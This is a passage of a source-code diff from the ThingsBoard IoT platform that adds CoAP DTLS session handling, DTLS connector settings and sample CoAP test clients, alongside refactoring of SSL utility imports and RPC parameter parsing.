  40 + dtlsSessionIdMap.putIfAbsent(dtlsSessionId, dtlsSessionInfo);
  41 + }
  42 +
  43 + public void evictTimeoutSessions() {
  44 + long expTime = System.currentTimeMillis() - dtlsSessionInactivityTimeout;
  45 + dtlsSessionIdMap.entrySet().removeIf(entry -> {
  46 + if (entry.getValue().getLastActivityTime() < expTime) {
  47 + log.trace("DTLS session was removed from in-memory store: [{}]", entry.getKey());
  48 + return true;
  49 + } else {
  50 + return false;
  51 + }
  52 + });
  53 + }
  54 +
  55 +}
\ No newline at end of file
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap;
  17 +
  18 +import lombok.Data;
  19 +import org.thingsboard.server.common.data.DeviceProfile;
  20 +import org.thingsboard.server.gen.transport.TransportProtos;
  21 +
  22 +@Data
  23 +public class TbCoapDtlsSessionInfo {
  24 +
  25 + private TransportProtos.SessionInfoProto sessionInfoProto;
  26 + private DeviceProfile deviceProfile;
  27 + private long lastActivityTime;
  28 +
  29 +
  30 + public TbCoapDtlsSessionInfo(TransportProtos.SessionInfoProto sessionInfoProto, DeviceProfile deviceProfile) {
  31 + this.sessionInfoProto = sessionInfoProto;
  32 + this.deviceProfile = deviceProfile;
  33 + this.lastActivityTime = System.currentTimeMillis();
  34 + }
  35 +}
\ No newline at end of file
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap;
  17 +
  18 +import com.google.common.io.Resources;
  19 +import lombok.extern.slf4j.Slf4j;
  20 +import org.eclipse.californium.elements.util.SslContextUtil;
  21 +import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
  22 +import org.eclipse.californium.scandium.dtls.CertificateType;
  23 +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier;
  24 +import org.springframework.beans.factory.annotation.Autowired;
  25 +import org.springframework.beans.factory.annotation.Value;
  26 +import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression;
  27 +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
  28 +import org.springframework.stereotype.Component;
  29 +import org.thingsboard.server.common.transport.TransportService;
  30 +import org.thingsboard.server.queue.discovery.TbServiceInfoProvider;
  31 +
  32 +import java.io.IOException;
  33 +import java.net.InetAddress;
  34 +import java.net.InetSocketAddress;
  35 +import java.net.UnknownHostException;
  36 +import java.security.GeneralSecurityException;
  37 +import java.security.cert.Certificate;
  38 +import java.util.Collections;
  39 +import java.util.Optional;
  40 +
  41 +@Slf4j
  42 +@ConditionalOnProperty(prefix = "transport.coap.dtls", value = "enabled", havingValue = "true", matchIfMissing = false)
  43 +@ConditionalOnExpression("'${transport.type:null}'=='null' || ('${transport.type}'=='local' && '${transport.coap.enabled}'=='true')")
  44 +@Component
  45 +public class TbCoapDtlsSettings {
  46 +
  47 + @Value("${transport.coap.bind_address}")
  48 + private String host;
  49 +
  50 + @Value("${transport.coap.bind_port}")
  51 + private Integer port;
  52 +
  53 + @Value("${transport.coap.dtls.mode}")
  54 + private String mode;
  55 +
  56 + @Value("${transport.coap.dtls.key_store}")
  57 + private String keyStoreFile;
  58 +
  59 + @Value("${transport.coap.dtls.key_store_password}")
  60 + private String keyStorePassword;
  61 +
  62 + @Value("${transport.coap.dtls.key_password}")
  63 + private String keyPassword;
  64 +
  65 + @Value("${transport.coap.dtls.key_alias}")
  66 + private String keyAlias;
  67 +
  68 + @Value("${transport.coap.dtls.skip_validity_check_for_client_cert}")
  69 + private boolean skipValidityCheckForClientCert;
  70 +
  71 + @Value("${transport.coap.dtls.x509.dtls_session_inactivity_timeout}")
  72 + private long dtlsSessionInactivityTimeout;
  73 +
  74 + @Value("${transport.coap.dtls.x509.dtls_session_report_timeout}")
  75 + private long dtlsSessionReportTimeout;
  76 +
  77 + @Autowired
  78 + private TransportService transportService;
  79 +
  80 + @Autowired
  81 + private TbServiceInfoProvider serviceInfoProvider;
  82 +
  83 + public DtlsConnectorConfig dtlsConnectorConfig() throws UnknownHostException {
  84 + Optional<SecurityMode> securityModeOpt = SecurityMode.parse(mode);
  85 + if (securityModeOpt.isEmpty()) {
  86 + log.warn("Incorrect configuration of securityMode {}", mode);
  87 + throw new RuntimeException("Failed to parse mode property: " + mode + "!");
  88 + } else {
  89 + DtlsConnectorConfig.Builder configBuilder = new DtlsConnectorConfig.Builder();
  90 + configBuilder.setAddress(getInetSocketAddress());
  91 + String keyStoreFilePath = Resources.getResource(keyStoreFile).getPath();
  92 + SslContextUtil.Credentials serverCredentials = loadServerCredentials(keyStoreFilePath);
  93 + SecurityMode securityMode = securityModeOpt.get();
  94 + if (securityMode.equals(SecurityMode.NO_AUTH)) {
  95 + configBuilder.setClientAuthenticationRequired(false);
  96 + configBuilder.setServerOnly(true);
  97 + } else {
  98 + configBuilder.setAdvancedCertificateVerifier(
  99 + new TbCoapDtlsCertificateVerifier(
  100 + transportService,
  101 + serviceInfoProvider,
  102 + dtlsSessionInactivityTimeout,
  103 + dtlsSessionReportTimeout,
  104 + skipValidityCheckForClientCert
  105 + )
  106 + );
  107 + }
  108 + configBuilder.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(),
  109 + Collections.singletonList(CertificateType.X_509));
  110 + return configBuilder.build();
  111 + }
  112 + }
  113 +
  114 + private SslContextUtil.Credentials loadServerCredentials(String keyStoreFilePath) {
  115 + try {
  116 + return SslContextUtil.loadCredentials(keyStoreFilePath, keyAlias, keyStorePassword.toCharArray(),
  117 + keyPassword.toCharArray());
  118 + } catch (GeneralSecurityException | IOException e) {
  119 + throw new RuntimeException("Failed to load serverCredentials due to: ", e);
  120 + }
  121 + }
  122 +
  123 + private void loadTrustedCertificates(DtlsConnectorConfig.Builder config, String keyStoreFilePath) {
  124 + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder();
  125 + try {
  126 + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates(
  127 + keyStoreFilePath, keyAlias,
  128 + keyStorePassword.toCharArray());
  129 + trustBuilder.setTrustedCertificates(trustedCertificates);
  130 + if (trustBuilder.hasTrusts()) {
  131 + config.setAdvancedCertificateVerifier(trustBuilder.build());
  132 + }
  133 + } catch (GeneralSecurityException | IOException e) {
  134 + throw new RuntimeException("Failed to load trusted certificates due to: ", e);
  135 + }
  136 + }
  137 +
  138 + private InetSocketAddress getInetSocketAddress() throws UnknownHostException {
  139 + InetAddress addr = InetAddress.getByName(host);
  140 + return new InetSocketAddress(addr, port);
  141 + }
  142 +
  143 + private enum SecurityMode {
  144 + X509,
  145 + NO_AUTH;
  146 +
  147 + static Optional<SecurityMode> parse(String name) {
  148 + SecurityMode mode = null;
  149 + if (name != null) {
  150 + for (SecurityMode securityMode : SecurityMode.values()) {
  151 + if (securityMode.name().equalsIgnoreCase(name)) {
  152 + mode = securityMode;
  153 + break;
  154 + }
  155 + }
  156 + }
  157 + return Optional.ofNullable(mode);
  158 + }
  159 +
  160 + }
  161 +
  162 +}
\ No newline at end of file
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap.client;
  17 +
  18 +import org.eclipse.californium.core.CoapClient;
  19 +import org.eclipse.californium.core.CoapResponse;
  20 +import org.eclipse.californium.core.Utils;
  21 +import org.eclipse.californium.elements.DtlsEndpointContext;
  22 +import org.eclipse.californium.elements.EndpointContext;
  23 +import org.eclipse.californium.elements.exception.ConnectorException;
  24 +
  25 +import java.io.IOException;
  26 +import java.net.URI;
  27 +import java.net.URISyntaxException;
  28 +import java.security.Principal;
  29 +import java.util.concurrent.ExecutorService;
  30 +import java.util.concurrent.Executors;
  31 +
  32 +public class NoSecClient {
  33 +
  34 + private ExecutorService executor = Executors.newFixedThreadPool(1);
  35 + private CoapClient coapClient;
  36 +
  37 + public NoSecClient(String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException {
  38 + URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys));
  39 + this.coapClient = new CoapClient(uri);
  40 + }
  41 +
  42 + public void test() {
  43 + executor.submit(() -> {
  44 + try {
  45 + while (!Thread.interrupted()) {
  46 + CoapResponse response = null;
  47 + try {
  48 + response = coapClient.get();
  49 + } catch (ConnectorException | IOException e) {
  50 + System.err.println("Error occurred while sending request: " + e);
  51 + System.exit(-1);
  52 + }
  53 + if (response != null) {
  54 +
  55 + System.out.println(response.getCode() + " - " + response.getCode().name());
  56 + System.out.println(response.getOptions());
  57 + System.out.println(response.getResponseText());
  58 + System.out.println();
  59 + System.out.println("ADVANCED:");
  60 + EndpointContext context = response.advanced().getSourceContext();
  61 + Principal identity = context.getPeerIdentity();
  62 + if (identity != null) {
  63 + System.out.println(context.getPeerIdentity());
  64 + } else {
  65 + System.out.println("anonymous");
  66 + }
  67 + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER));
  68 + System.out.println(Utils.prettyPrint(response));
  69 + } else {
  70 + System.out.println("No response received.");
  71 + }
  72 + Thread.sleep(5000);
  73 + }
  74 + } catch (Exception e) {
  75 + System.out.println("Error occurred while sending COAP requests.");
  76 + }
  77 + });
  78 + }
  79 +
  80 + private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) {
  81 + return "coap://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys;
  82 + }
  83 +
  84 + public static void main(String[] args) throws URISyntaxException {
  85 + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.NoSecClient " +
  86 + "host port accessToken clientKeys sharedKeys");
  87 +
  88 + String host = args[0];
  89 + int port = Integer.parseInt(args[1]);
  90 + String accessToken = args[2];
  91 + String clientKeys = args[3];
  92 + String sharedKeys = args[4];
  93 +
  94 + NoSecClient client = new NoSecClient(host, port, accessToken, clientKeys, sharedKeys);
  95 + client.test();
  96 + }
  97 +}
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap.client;
  17 +
  18 +import org.eclipse.californium.core.CoapClient;
  19 +import org.eclipse.californium.core.CoapResponse;
  20 +import org.eclipse.californium.core.Utils;
  21 +import org.eclipse.californium.core.network.CoapEndpoint;
  22 +import org.eclipse.californium.elements.DtlsEndpointContext;
  23 +import org.eclipse.californium.elements.EndpointContext;
  24 +import org.eclipse.californium.elements.exception.ConnectorException;
  25 +import org.eclipse.californium.elements.util.SslContextUtil;
  26 +import org.eclipse.californium.scandium.DTLSConnector;
  27 +import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
  28 +import org.eclipse.californium.scandium.dtls.CertificateType;
  29 +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier;
  30 +
  31 +import java.io.IOException;
  32 +import java.net.URI;
  33 +import java.net.URISyntaxException;
  34 +import java.security.GeneralSecurityException;
  35 +import java.security.Principal;
  36 +import java.security.cert.Certificate;
  37 +import java.util.Collections;
  38 +import java.util.concurrent.ExecutorService;
  39 +import java.util.concurrent.Executors;
  40 +
  41 +public class SecureClientNoAuth {
  42 +
  43 + private final DTLSConnector dtlsConnector;
  44 + private ExecutorService executor = Executors.newFixedThreadPool(1);
  45 + private CoapClient coapClient;
  46 +
  47 + public SecureClientNoAuth(DTLSConnector dtlsConnector, String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException {
  48 + this.dtlsConnector = dtlsConnector;
  49 + this.coapClient = getCoapClient(host, port, accessToken, clientKeys, sharedKeys);
  50 + }
  51 +
  52 + public void test() {
  53 + executor.submit(() -> {
  54 + try {
  55 + while (!Thread.interrupted()) {
  56 + CoapResponse response = null;
  57 + try {
  58 + response = coapClient.get();
  59 + } catch (ConnectorException | IOException e) {
  60 + System.err.println("Error occurred while sending request: " + e);
  61 + System.exit(-1);
  62 + }
  63 + if (response != null) {
  64 +
  65 + System.out.println(response.getCode() + " - " + response.getCode().name());
  66 + System.out.println(response.getOptions());
  67 + System.out.println(response.getResponseText());
  68 + System.out.println();
  69 + System.out.println("ADVANCED:");
  70 + EndpointContext context = response.advanced().getSourceContext();
  71 + Principal identity = context.getPeerIdentity();
  72 + if (identity != null) {
  73 + System.out.println(context.getPeerIdentity());
  74 + } else {
  75 + System.out.println("anonymous");
  76 + }
  77 + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER));
  78 + System.out.println(Utils.prettyPrint(response));
  79 + } else {
  80 + System.out.println("No response received.");
  81 + }
  82 + Thread.sleep(5000);
  83 + }
  84 + } catch (Exception e) {
  85 + System.out.println("Error occurred while sending COAP requests.");
  86 + }
  87 + });
  88 + }
  89 +
  90 + private CoapClient getCoapClient(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException {
  91 + URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys));
  92 + CoapClient client = new CoapClient(uri);
  93 + CoapEndpoint.Builder builder = new CoapEndpoint.Builder();
  94 + builder.setConnector(dtlsConnector);
  95 +
  96 + client.setEndpoint(builder.build());
  97 + return client;
  98 + }
  99 +
  100 + private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) {
  101 + return "coaps://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys;
  102 + }
  103 +
  104 + public static void main(String[] args) throws URISyntaxException {
  105 + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientNoAuth " +
  106 + "host port accessToken keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys");
  107 +
  108 + String host = args[0];
  109 + int port = Integer.parseInt(args[1]);
  110 + String accessToken = args[2];
  111 + String clientKeys = args[7];
  112 + String sharedKeys = args[8];
  113 +
  114 + String keyStoreUriPath = args[3];
  115 + String keyStoreAlias = args[4];
  116 + String trustedAliasPattern = args[5];
  117 + String keyStorePassword = args[6];
  118 +
  119 +
  120 + DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder();
  121 + setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword);
  122 + DTLSConnector dtlsConnector = new DTLSConnector(builder.build());
  123 + SecureClientNoAuth client = new SecureClientNoAuth(dtlsConnector, host, port, accessToken, clientKeys, sharedKeys);
  124 + client.test();
  125 + }
  126 +
  127 + private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) {
  128 + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder();
  129 + try {
  130 + SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials(
  131 + keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray());
  132 + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates(
  133 + keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray());
  134 + trustBuilder.setTrustedCertificates(trustedCertificates);
  135 + config.setAdvancedCertificateVerifier(trustBuilder.build());
  136 + config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509));
  137 + } catch (GeneralSecurityException e) {
  138 + System.err.println("certificates are invalid!");
  139 + throw new IllegalArgumentException(e.getMessage());
  140 + } catch (IOException e) {
  141 + System.err.println("certificates are missing!");
  142 + throw new IllegalArgumentException(e.getMessage());
  143 + }
  144 + }
  145 +}
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap.client;
  17 +
  18 +import org.eclipse.californium.core.CoapClient;
  19 +import org.eclipse.californium.core.CoapResponse;
  20 +import org.eclipse.californium.core.Utils;
  21 +import org.eclipse.californium.core.network.CoapEndpoint;
  22 +import org.eclipse.californium.elements.DtlsEndpointContext;
  23 +import org.eclipse.californium.elements.EndpointContext;
  24 +import org.eclipse.californium.elements.exception.ConnectorException;
  25 +import org.eclipse.californium.elements.util.SslContextUtil;
  26 +import org.eclipse.californium.scandium.DTLSConnector;
  27 +import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
  28 +import org.eclipse.californium.scandium.dtls.CertificateType;
  29 +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier;
  30 +
  31 +import java.io.IOException;
  32 +import java.net.URI;
  33 +import java.net.URISyntaxException;
  34 +import java.security.GeneralSecurityException;
  35 +import java.security.Principal;
  36 +import java.security.cert.Certificate;
  37 +import java.util.Collections;
  38 +import java.util.concurrent.ExecutorService;
  39 +import java.util.concurrent.Executors;
  40 +
  41 +public class SecureClientX509 {
  42 +
  43 + private final DTLSConnector dtlsConnector;
  44 + private ExecutorService executor = Executors.newFixedThreadPool(1);
  45 + private CoapClient coapClient;
  46 +
  47 + public SecureClientX509(DTLSConnector dtlsConnector, String host, int port, String clientKeys, String sharedKeys) throws URISyntaxException {
  48 + this.dtlsConnector = dtlsConnector;
  49 + this.coapClient = getCoapClient(host, port, clientKeys, sharedKeys);
  50 + }
  51 +
  52 + public void test() {
  53 + executor.submit(() -> {
  54 + try {
  55 + while (!Thread.interrupted()) {
  56 + CoapResponse response = null;
  57 + try {
  58 + response = coapClient.get();
  59 + } catch (ConnectorException | IOException e) {
  60 + System.err.println("Error occurred while sending request: " + e);
  61 + System.exit(-1);
  62 + }
  63 + if (response != null) {
  64 +
  65 + System.out.println(response.getCode() + " - " + response.getCode().name());
  66 + System.out.println(response.getOptions());
  67 + System.out.println(response.getResponseText());
  68 + System.out.println();
  69 + System.out.println("ADVANCED:");
  70 + EndpointContext context = response.advanced().getSourceContext();
  71 + Principal identity = context.getPeerIdentity();
  72 + if (identity != null) {
  73 + System.out.println(context.getPeerIdentity());
  74 + } else {
  75 + System.out.println("anonymous");
  76 + }
  77 + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER));
  78 + System.out.println(Utils.prettyPrint(response));
  79 + } else {
  80 + System.out.println("No response received.");
  81 + }
  82 + Thread.sleep(5000);
  83 + }
  84 + } catch (Exception e) {
  85 + System.out.println("Error occurred while sending COAP requests.");
  86 + }
  87 + });
  88 + }
  89 +
  90 + private CoapClient getCoapClient(String host, Integer port, String clientKeys, String sharedKeys) throws URISyntaxException {
  91 + URI uri = new URI(getFutureUrl(host, port, clientKeys, sharedKeys));
  92 + CoapClient client = new CoapClient(uri);
  93 + CoapEndpoint.Builder builder = new CoapEndpoint.Builder();
  94 + builder.setConnector(dtlsConnector);
  95 +
  96 + client.setEndpoint(builder.build());
  97 + return client;
  98 + }
  99 +
  100 + private String getFutureUrl(String host, Integer port, String clientKeys, String sharedKeys) {
  101 + return "coaps://" + host + ":" + port + "/api/v1/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys;
  102 + }
  103 +
  104 + public static void main(String[] args) throws URISyntaxException {
  105 + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientX509 " +
  106 + "host port keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys");
  107 +
  108 + String host = args[0];
  109 + int port = Integer.parseInt(args[1]);
  110 + String clientKeys = args[6];
  111 + String sharedKeys = args[7];
  112 +
  113 + String keyStoreUriPath = args[2];
  114 + String keyStoreAlias = args[3];
  115 + String trustedAliasPattern = args[4];
  116 + String keyStorePassword = args[5];
  117 +
  118 +
  119 + DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder();
  120 + setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword);
  121 + DTLSConnector dtlsConnector = new DTLSConnector(builder.build());
  122 + SecureClientX509 client = new SecureClientX509(dtlsConnector, host, port, clientKeys, sharedKeys);
  123 + client.test();
  124 + }
  125 +
  126 + private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) {
  127 + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder();
  128 + try {
  129 + SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials(
  130 + keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray());
  131 + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates(
  132 + keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray());
  133 + trustBuilder.setTrustedCertificates(trustedCertificates);
  134 + config.setAdvancedCertificateVerifier(trustBuilder.build());
  135 + config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509));
  136 + } catch (GeneralSecurityException e) {
  137 + System.err.println("certificates are invalid!");
  138 + throw new IllegalArgumentException(e.getMessage());
  139 + } catch (IOException e) {
  140 + System.err.println("certificates are missing!");
  141 + throw new IllegalArgumentException(e.getMessage());
  142 + }
  143 + }
  144 +}
... ...
... ... @@ -30,7 +30,7 @@ import org.thingsboard.server.common.transport.TransportService;
30 30 import org.thingsboard.server.common.transport.TransportServiceCallback;
31 31 import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse;
32 32 import org.thingsboard.server.gen.transport.TransportProtos;
33   -import org.thingsboard.server.transport.mqtt.util.SslUtil;
  33 +import org.thingsboard.server.common.transport.util.SslUtil;
34 34
35 35 import javax.net.ssl.KeyManager;
36 36 import javax.net.ssl.KeyManagerFactory;
... ... @@ -41,7 +41,6 @@ import javax.net.ssl.TrustManagerFactory;
41 41 import javax.net.ssl.X509TrustManager;
42 42 import java.io.File;
43 43 import java.io.FileInputStream;
44   -import java.io.IOException;
45 44 import java.io.InputStream;
46 45 import java.net.URL;
47 46 import java.security.KeyStore;
... ...
... ... @@ -66,7 +66,7 @@ import org.thingsboard.server.transport.mqtt.adaptors.MqttTransportAdaptor;
66 66 import org.thingsboard.server.transport.mqtt.session.DeviceSessionCtx;
67 67 import org.thingsboard.server.transport.mqtt.session.GatewaySessionHandler;
68 68 import org.thingsboard.server.transport.mqtt.session.MqttTopicMatcher;
69   -import org.thingsboard.server.transport.mqtt.util.SslUtil;
  69 +import org.thingsboard.server.common.transport.util.SslUtil;
70 70
71 71 import javax.net.ssl.SSLPeerUnverifiedException;
72 72 import java.security.cert.Certificate;
... ...
... ... @@ -146,7 +146,7 @@ public class ProtoMqttAdaptor implements MqttTransportAdaptor {
146 146
147 147 @Override
148 148 public Optional<MqttMessage> convertToPublish(MqttDeviceAwareSessionContext ctx, TransportProtos.ToDeviceRpcRequestMsg rpcRequest) {
149   - return Optional.of(createMqttPublishMsg(ctx, MqttTopics.DEVICE_RPC_REQUESTS_TOPIC + rpcRequest.getRequestId(), rpcRequest.toByteArray()));
  149 + return Optional.of(createMqttPublishMsg(ctx, MqttTopics.DEVICE_RPC_REQUESTS_TOPIC + rpcRequest.getRequestId(), ProtoConverter.convertToRpcRequest(rpcRequest)));
150 150 }
151 151
152 152 @Override
... ...
... ... @@ -107,7 +107,7 @@ public class JsonConverter {
107 107 public static ClaimDeviceMsg convertToClaimDeviceProto(DeviceId deviceId, String json) {
108 108 long durationMs = 0L;
109 109 if (json != null && !json.isEmpty()) {
110   - return convertToClaimDeviceProto(deviceId, new JsonParser().parse(json));
  110 + return convertToClaimDeviceProto(deviceId, JSON_PARSER.parse(json));
111 111 }
112 112 return buildClaimDeviceMsg(deviceId, DataConstants.DEFAULT_SECRET_KEY, durationMs);
113 113 }
... ... @@ -156,7 +156,7 @@ public class JsonConverter {
156 156 result.addProperty("id", msg.getRequestId());
157 157 }
158 158 result.addProperty("method", msg.getMethodName());
159   - result.add("params", new JsonParser().parse(msg.getParams()));
  159 + result.add("params", JSON_PARSER.parse(msg.getParams()));
160 160 return result;
161 161 }
162 162
... ... @@ -405,7 +405,7 @@ public class JsonConverter {
405 405
406 406 public static JsonElement toJson(TransportProtos.ToServerRpcResponseMsg msg) {
407 407 if (StringUtils.isEmpty(msg.getError())) {
408   - return new JsonParser().parse(msg.getPayload());
  408 + return JSON_PARSER.parse(msg.getPayload());
409 409 } else {
410 410 JsonObject errorMsg = new JsonObject();
411 411 errorMsg.addProperty("error", msg.getError());
... ... @@ -563,7 +563,7 @@ public class JsonConverter {
563 563 }
564 564
565 565 public static TransportProtos.ProvisionDeviceRequestMsg convertToProvisionRequestMsg(String json) {
566   - JsonElement jsonElement = new JsonParser().parse(json);
  566 + JsonElement jsonElement = JSON_PARSER.parse(json);
567 567 if (jsonElement.isJsonObject()) {
568 568 return buildProvisionRequestMsg(jsonElement.getAsJsonObject());
569 569 } else {
... ...
... ... @@ -15,7 +15,9 @@
15 15 */
16 16 package org.thingsboard.server.common.transport.adaptor;
17 17
  18 +import com.google.gson.JsonElement;
18 19 import com.google.gson.JsonParser;
  20 +import com.google.gson.JsonPrimitive;
19 21 import com.google.protobuf.InvalidProtocolBufferException;
20 22 import lombok.extern.slf4j.Slf4j;
21 23 import org.springframework.util.CollectionUtils;
... ... @@ -167,4 +169,27 @@ public class ProtoConverter {
167 169 });
168 170 return kvList;
169 171 }
  172 +
  173 + public static byte[] convertToRpcRequest(TransportProtos.ToDeviceRpcRequestMsg toDeviceRpcRequestMsg) {
  174 + TransportProtos.ToDeviceRpcRequestMsg.Builder toDeviceRpcRequestMsgBuilder = toDeviceRpcRequestMsg.newBuilderForType();
  175 + toDeviceRpcRequestMsgBuilder.mergeFrom(toDeviceRpcRequestMsg);
  176 + toDeviceRpcRequestMsgBuilder.setParams(parseParams(toDeviceRpcRequestMsg));
  177 + TransportProtos.ToDeviceRpcRequestMsg result = toDeviceRpcRequestMsgBuilder.build();
  178 + return result.toByteArray();
  179 + }
  180 +
  181 + private static String parseParams(TransportProtos.ToDeviceRpcRequestMsg toDeviceRpcRequestMsg) {
  182 + String params = toDeviceRpcRequestMsg.getParams();
  183 + JsonElement jsonElementParams = JSON_PARSER.parse(params);
  184 + if (!jsonElementParams.isJsonPrimitive()) {
  185 + return params;
  186 + } else {
  187 + JsonPrimitive primitiveParams = jsonElementParams.getAsJsonPrimitive();
  188 + if (jsonElementParams.getAsJsonPrimitive().isString()) {
  189 + return primitiveParams.getAsString();
  190 + } else {
  191 + return params;
  192 + }
  193 + }
  194 + }
170 195 }
... ...
... ... @@ -25,7 +25,15 @@ import java.util.UUID;
25 25 public class SessionInfoCreator {
26 26
27 27 public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, TransportContext context, UUID sessionId) {
28   - return TransportProtos.SessionInfoProto.newBuilder().setNodeId(context.getNodeId())
  28 + return getSessionInfoProto(msg, context.getNodeId(), sessionId);
  29 + }
  30 +
  31 + public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, String nodeId, UUID sessionId) {
  32 + return getSessionInfoProto(msg, nodeId, sessionId);
  33 + }
  34 +
  35 + private static TransportProtos.SessionInfoProto getSessionInfoProto(ValidateDeviceCredentialsResponse msg, String nodeId, UUID sessionId) {
  36 + return TransportProtos.SessionInfoProto.newBuilder().setNodeId(nodeId)
29 37 .setSessionIdMSB(sessionId.getMostSignificantBits())
30 38 .setSessionIdLSB(sessionId.getLeastSignificantBits())
